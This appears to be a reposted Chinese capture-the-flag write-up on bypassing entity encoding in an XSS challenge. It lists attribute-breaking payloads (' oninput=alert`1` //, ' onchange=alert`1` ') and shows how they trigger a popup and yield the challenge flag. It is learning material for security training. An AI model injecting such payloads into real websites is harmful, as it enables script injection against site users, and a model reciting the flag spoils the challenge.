标签：xss oninput 触发 示例 alert input 绕过 输入

知识点： 倘若是在script、input标签当中，即可突破。 Payload

' oninput=alert`1` // 当要在input中输入内容时触发事件

' oninput=alert`1` ' 同上

' onchange=alert`1` // 发生改变的时候触发该事件

' onchange=alert`1` ' 同上

在script里直接alert   示例： 首选输入测试语句<script>alert(/Micr067/)</script>， 查看源码发现做了实体编码。 使用xss实体绕过即可突破， 先输入 ' oninput=alert`1` // 提交， 在input中输入内容时触发事件，输入数字1即触发xss弹窗， 获得flag{Network_security_Era}

 

标签：xss,oninput,触发,示例,alert,input,绕过,输入
来源： https://www.cnblogs.com/micr067/p/11396201.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。